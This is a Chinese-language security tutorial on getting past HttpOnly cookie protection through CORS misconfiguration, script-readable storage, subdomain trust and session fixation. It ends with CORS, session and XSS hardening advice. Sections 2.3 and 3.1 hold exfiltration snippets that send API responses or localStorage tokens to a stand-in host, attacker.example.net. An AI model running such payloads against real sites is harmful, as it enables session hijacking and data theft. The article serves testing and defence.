很多做Web安全的人第一次发现HttpOnly挡住脚本读取Cookie时,都会松一口气,觉得XSS的威胁到此为止了。但我在实际测试里反复看到同一个场景:存储型XSS已经稳定触发,document.cookie返回空,攻击链路却依旧可以通过另一条路径走通——借助CORS漏洞,让受害者浏览器主动交出响应数据、会话凭据,甚至操作权限都在里面。这篇文章就围绕“绕过HttpOnly的XSS攻击:从Cookie窃取到CORS漏洞的实战利用”这条线展开,把原理、利用思路和防守策略一起拆开讲。适合正在做Web漏洞测试的安全工程师,也适合负责接口和应用加固的后端开发者,以及想系统理解会话安全防护边界的前端同事。
1. HttpOnly在防什么:Cookie保护机制的边界与XSS的剩余攻击面
1.1 HttpOnly的防御逻辑:阻断脚本读取,但不阻断浏览器携带
HttpOnly是Cookie属性,服务端在Set-Cookie指令里带上这个标记之后,浏览器会限制JavaScript对document.cookie的读取权限。换句话说,就算页面被注入了脚本,脚本也拿不到这个Cookie的值。这个机制出现很早,各浏览器很早就都支持,到现在也是Web会话保护中最基础、最普遍的一道防线。
它的防护思路非常直接:XSS的本质是恶意脚本在受害者的页面上下文里运行,如果会话凭据存放在Cookie中,HttpOnly可以阻止脚本直接“偷看”到那串会话标识。一个小型存储型XSS就算执行成功,攻击者也很难通过抓Cookie的方式直接登录受害者账号。
但HttpOnly的边界也非常清晰,它只阻止脚本读取,并不阻止浏览器在HTTP请求里自动携带Cookie。请求发往匹配Domain和Path的目标时,浏览器按规则把Cookie放进请求头,整个过程跟JavaScript是否知道Cookie内容一点关系都没有。这解释了我在测试中观察到的现象:脚本读不到Cookie,但带Cookie的请求照样发得出去。
我习惯把HttpOnly理解成“禁止旁观,但不禁止借用”。它防的是攻击者直接翻开受害者的钱包看卡号,但不防攻击者握着受害者的手去刷卡。如果服务端不区分这两种行为,就会低估XSS的破坏力。
1.2 XSS真正追求的不是Cookie本身,而是“身份”
Cookie不是XSS的终点,身份才是。攻击者注入脚本后,最终目标是让代码以受害者的身份行使权限,访问受害者的数据、执行受害者的操作。Cookie只是获取身份的一种途径,而且远非唯一途径。
HttpOnly把“直接读Cookie”这条路堵住之后,攻击者还剩下几条可行分支:
- 利用浏览器的跨域资源共享机制(CORS)在带Cookie的状态下发请求,读取响应内容,从中提取会话标识或敏感数据。
- 从localStorage、sessionStorage、IndexedDB等脚本可访问的存储中找Token、RefreshToken、个人信息。
- 通过同站子域名信任或会话固定手法,把会话“换”成攻击者可控的会话。
- 直接构造受信任接口的请求,触发敏感操作,完全不依赖读取Cookie。
这几条路径里面,CORS漏洞是最容易引发“绕过HttpOnly”感知的一条路。它完全走正常浏览器机制,不依赖系统漏洞、不依赖用户点击钓鱼链接,只要服务端信任边界画得不对,受害者浏览器就会在不知不觉间把数据交到攻击者手中。
需要先把边界说清楚:本文所有利用思路,都应当在自己搭建的测试环境或获得书面授权的项目中验证。未授权测试不属于学习范畴,安全测试首先是一道纪律题。
2. 绕过HttpOnly的核心路径:CORS漏洞下的跨域会话读取
2.1 CORS为什么会被当成“合法后门”
浏览器同源策略默认禁止一个源读取另一个源的响应。CORS是一种受控的例外:服务端通过响应头明确声明“我允许某个源读取我的响应”,浏览器在收到这段声明后,会把响应数据交给发起方的脚本。
设计上这是双赢方案,但配置的时候极其容易出错。尤其是不少后端为了迁就前端本地调试,直接把请求头里的Origin反射回响应头,同时把Access-Control-Allow-Credentials也打开。这种做法在开发环境里很“顺手”,到生产环境就变成了一扇敞开的门。
在这套错误配置下,攻击者的页面发起一个带凭据的跨域请求,浏览器检查响应头,发现当前攻击者Origin被明确允许,于是把接口返回内容交给攻击者的JavaScript执行环境。整个过程里,HttpOnly保护的Cookie一次都没有被脚本读取,Cookie始终待在受害者浏览器里,但攻击者已经借Cookie的身份权限把敏感数据拿到了手。
关键区别在于:传统的Cookie窃取是通过脚本读取Cookie值,而CORS路径窃取的是“Cookie权限下的数据”。会话Token如果出现在接口响应体里,攻击者拿到Token就等于拿到了会话;就算响应体里没有Token,用户手机号、订单、个人资料这类数据也已经失守。
2.2 三种最常见的CORS错误配置与自查思路
我梳理了项目里反复出现的几类CORS问题:
| 问题类型 | 通常长什么样 | 攻击效果 |
|---|---|---|
| 反射任意Origin | 服务端把请求头Origin原样返回 | 任何恶意页面都能读取受保护接口的响应 |
| 正则匹配过于宽松 | 用.*example.com、^example.com做判断 | notexample.com或example.com.evil.com都能通过校验 |
| 固定白名单残留 | 列表里存在废弃的子域名、测试站、第三方站点 | 攻击者接管残留域名后直接获得读取权限 |
反射Origin的问题最容易查。用curl或抓包工具发一个带自定义Origin的请求,如果响应头里的Access-Control-Allow-Origin跟着请求的Origin变,那这条接口就已经属于危险配置了。这个测试几乎零成本,任何开发者都可以在自己负责的接口上先跑一遍。
正则匹配的问题隐蔽一些。有人觉得反射太明显,于是改成校验来源域名,但正则写得不仔细照样留后门。边界情况一定要测干净:前缀漏写、后缀漏写、点转义漏写,都会让校验形同虚设。一个让我印象深刻的例子是,规则只想匹配example.com,正则却写成example\.com.*,结果攻击者注册example.com.evil.site就能轻松通过校验。
固定白名单残留的问题最考验“治理能力”。白名单本身没错,错的是白名单里的域名已经不可控了。常见的情况包括:临时调试用域名忘了下线、注册了某个子域但DNS已失效、第三方开发平台域名被回收重注册。一旦残留域名被攻击者控制,CORS白名单就成了合法授权书。
2.3 在测试环境里复现完整攻击链路
我以“攻击者控制页面 + 目标接口开错CORS”为前提,搭建过一个最小验证环境,步骤和现象如下。
目标接口路径假设为https://target.example.com/api/userinfo,会话Cookie设置成HttpOnly和Secure,但接口配置错误地反射了请求Origin,并且允许Credentials。
攻击者页面部署在https://attacker.example.net,核心利用代码用fetch实现:
fetch('https://target.example.com/api/userinfo', { method: 'GET', credentials: 'include' }) .then(function(response) { return response.text(); }) .then(function(data) { new Image().src = 'https://attacker.example.net/collect?data=' + encodeURIComponent(data); });credentials: 'include'是这条链路的关键。它告诉浏览器:“跨域请求时请把目标域的Cookie也带上。”配合服务端的错误CORS头,浏览器最终允许攻击者脚本读取接口响应,数据随后被打包发送到攻击者控制的服务器。
我在这个环境里实际跑通时,抓包记录里能清楚看到三件事:
- 请求头里带着目标域的HttpOnly Cookie,浏览器自动加的,脚本全程没碰过Cookie。
- 响应头里Access-Control-Allow-Origin被反射成了
https://attacker.example.net。 - 攻击者服务器收到了从受害者浏览器转发过来的接口响应原文。
如果接口响应体里包含会话Token或临时凭据,攻击者可以直接拿Token当作会话凭证使用,效果等同于窃取了HttpOnly保护的Cookie。
这类测试有一点要注意:有些目标接口允许JSONP,攻击者还可以用<script>标签直接跨域加载,依赖的是服务端对callback参数的处理,连CORS头都不需要。不过现代应用已经大幅收紧JSONP,重点风险还是集中在CORS配置上。
2.4 为什么SameSite没有完全拦住这条路
有人会问,现在浏览器默认SameSite=Lax,跨站fetch请求不会携带Cookie,上面那条路不是被堵住了吗?确实,在现代浏览器默认策略下,跨站子资源请求和fetch请求不会自动带上Cookie。但有两条分支让攻击面依然存在。
第一,同站子域名问题。SameSite判定依据的是可注册域名(比如example.com),而不是完整的源。a.example.com和b.example.com是两个不同的源,但属于同一个站点。如果攻击者在a.example.com下找到一个XSS,就能在那个源里发起指向b.example.com的请求,这是一个同站请求,SameSite不会拦截Cookie。这也就是为什么“子域名安全”往往成为整体安全里最弱的一环。
第二,部分内部系统为了跨站iframe或跨站集成,主动把Session Cookie的SameSite设置成None,同时要求Secure。这种情况下,任何跨站页面都可以携带Cookie发起请求,CORS配置错误就会重新变成可利用漏洞。在做配置审计时,看到SameSite=None的Cookie要格外仔细核对信任边界。
3. 其他不需要“读Cookie”也能拿下会话的路径
3.1 localStorage、sessionStorage与IndexedDB里的会话凭据
HttpOnly保护的是Cookie,但很多前端应用并不把会话凭据放在Cookie里,而是放进localStorage。这个习惯的隐患在于,localStorage对任何页面内脚本完全开放,XSS一旦执行,提取Token只需要一行代码:
var token = localStorage.getItem('token'); new Image().src = 'https://attacker.example.net/steal?token=' + encodeURIComponent(token);sessionStorage的生存周期比localStorage短,但它同样受脚本控制,同一个标签页里执行XSS就能读取。IndexedDB则更容易被忽略,一些离线优先或复杂状态管理的前端架构会把加密凭据、业务数据放进IndexedDB,攻击者同样可以通过脚本遍历遍历读取。
从服务端研发的角度看,这里有个很拧巴的现实:安全方案花了很多精力给Cookie加HttpOnly,业务代码却把会话Token交给脚本可控的存储,等于绕过了团队自己搭的防线。单页应用如果坚持用Bearer Token模式,至少要把Token放在JavaScript内存变量里,不使用常驻存储,刷新页面后由后端重新下发,以缩短XSS窃取的时间窗口。
3.2 子域名信任边界与“换会话”思路
多个信任边界的组合,是绕过HttpOnly最值得研究的方向。
Cookie的Domain属性可以向上作用到父域。比如login.target.example.com下种了一个Domain=target.example.com的HttpOnly Cookie,那么mail.target.example.com、api.target.example.com这些子域都会在请求中带上它。只要其中任意一个子域存在XSS风险、或者DNS配置失守,攻击者就能在同站环境下发起可信请求,HttpOnly和SameSite都会一起失效。
会话固定则是另一种不需要读Cookie就能完成的“会话交换”。攻击者先在自己浏览器获得一个有效的会话ID,然后在受害者的浏览器里种下这个ID,再诱导受害者完成登录。如果服务端在登录流程中不轮换Session ID,登录完成后那个ID就变成了受害者的会话ID,攻击者手里握着的旧ID立刻升级成受害者会话。整个过程里HttpOnly毫无还手之力,因为它压根没有被攻击者读取过,是服务端自己把会话“交接”了出去。缓解方案很明确:登录成功后立刻生成新的Session ID,并且把会话与浏览器指纹、IP等信息做绑定校验。
3.3 不需要Cookie的“操作型攻击”:XSS到CSRF桥接
XSS脚本直接在受害者的页面上下文里运行,它完全可以代替受害者提交表单、调用接口、修改密码、绑定手机、发送消息。这类操作不需要知道Cookie内容,浏览器会自动带上Cookie,后端仅凭Cookie判定身份就把请求当成用户本人操作。
HttpOnly对此无能为力,它只是不让脚本读Cookie,并没有阻止请求携带Cookie。“一个接口只要有HttpOnly保护就安全”这个判断,在敏感操作接口面前很容易被击穿。评估XSS影响时,不能只问“脚本能不能拿到会话cookie”,还要问“脚本能代替用户做哪些操作、能读取哪些数据、能篡改哪些前端逻辑”。这三问做下来,攻击面才能看得完整。
4. 防守侧的反向工程:把绕过路径一条条堵上
4.1 CORS配置加固:白名单、预检与缓存头
防御CORS绕过不需要太高深的技巧,把下面这几条落实到位就会非常有效:
- 只允许可信的固定Origin列表,不反射请求Origin。
- 白名单匹配逻辑写清楚边界,测试要覆盖
example.com.evil.com这类绕过的payload。 - 绝不返回
Access-Control-Allow-Origin: *再配合Access-Control-Allow-Credentials: true,浏览器虽然会拦截这种组合,但很多代理层会把它拆开处理,引发更隐蔽的问题。 - 正确处理OPTIONS预检请求。非简单请求会先发预检,服务端如果只在业务接口里返回CORS头而不处理OPTIONS,浏览器会直接拦截请求。建议用中间件统一处理CORS,保证OPTIONS也有对应响应。
- 响应带上
Vary: Origin,防止代理或CDN把某个Origin允许的CORS响应缓存下来,转发给另一个完全不同来源的用户。
一个参考的安全响应大概长这样:
Access-Control-Allow-Origin: https://app.target.example.com Access-Control-Allow-Credentials: true Vary: Origin Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Headers: Content-Type, X-Requested-With注意,允许Credentials的请求里,Access-Control-Allow-Origin必须是固定的可信源,不能是*。实现上建议把白名单维护在一个集中配置里,所有接口和中间件统一引用,避免各业务系统各自为政。
4.2 会话保护组合拳:HttpOnly之外还需要什么
HttpOnly需要保留,但不能只靠它。我建议按“最小携带、最短期限、最强绑定、最勤轮换”来做会话安全:
- 会话Cookie带上下文的
Secure和SameSite=Strict。确有跨站业务需求时单独评估,而不是无差别设置SameSite=None。 - 登录成功后强制更换Session ID;密码修改、权限调整之后重新认证。
- 会话与浏览器指纹、IP、常用设备等信息绑定,检测到漂移时触发二次验证。
- 敏感操作单独加校验,短信验证码、支付密码、设备确认,至少选一种。
- 会话设置合理过期时间,尤其是高权限后台,不要让会话长期有效。
4.3 源头治理:把XSS出现的概率和影响降到最低
绕过姿势再多,前提都是XSS能够执行。把XSS消灭在源头,比任何CORS加固都更治本。
核心原则就一条:输入输出都别直接信任。服务端输出到HTML的每个上下文都要选对编码方式,HTML属性、JavaScript字符串、URL、CSS各自需要用对应的转义规则。前端尽量减少innerHTML这类API拼接数据,能用框架的组件渲染就用组件渲染。另外,配置内容安全策略(CSP),只允许白名单脚本源,不给unsafe-inline留位子,能让很多注入脚本直接变成不执行的“死代码”。
我在自己的项目里坚持一个比较笨的动作:把document.cookie、innerHTML、eval这类危险API纳入代码检视重点,每个出现点都顺着数据流问一遍“用户输入能不能走到这”。走到的地方就标出来,讨论编码方案。这个习惯坚持下来,比依赖偶尔跑一次扫描器可靠得多。
4.4 红队思路自测:用攻击链检查自家应用
推荐一套我常用的自查方法,用“攻击链”的视角把每个环节画成节点逐项验证。
- 源:应用里是否存在反射型、存储型或DOM型XSS点?如果有,数据入口和输出位置在哪?
- 链路:脚本能否在目标站点上下文稳定执行?有没有CSP、X-Frame-Options等阻碍因素?
- 边界:HttpOnly、SameSite、CORS、Secure这些配置逐项过一遍,看当前攻击链会被哪一道墙拦下。
- 出口:即使拿到数据,脚本能否把数据传到外部?CSP是否限制外发域名,网络层面有没有隔离。
这套方法的价值在于,它逼着你不只看单个配置,而是看整条链路的组合效应。很多问题单独看都在可接受范围,组合起来才致命。我在这套检查里发现过“CORS配置本身没问题,但某个子域名有旧应用接管风险”的组合隐患,也发现过“HttpOnly配置全对,但前端把Token放进了sessionStorage”的典型错位,都是只看单点发现不了的。
把HttpOnly、CORS、SameSite串起来之后的一点体会
项目做多了会发现,安全配置永远是组合状态,不是单项及格。HttpOnly是一个重要但绝不完整的环节,真正的安全感来自每一条数据路径都被问过一句:“如果脚本能在这里执行,会发生什么?”下次再遇到XSS,不妨先不看Cookie,沿着CORS、存储、会话操作这几条线走一遍,你会对“绕过HttpOnly”这件事有完全不一样的理解。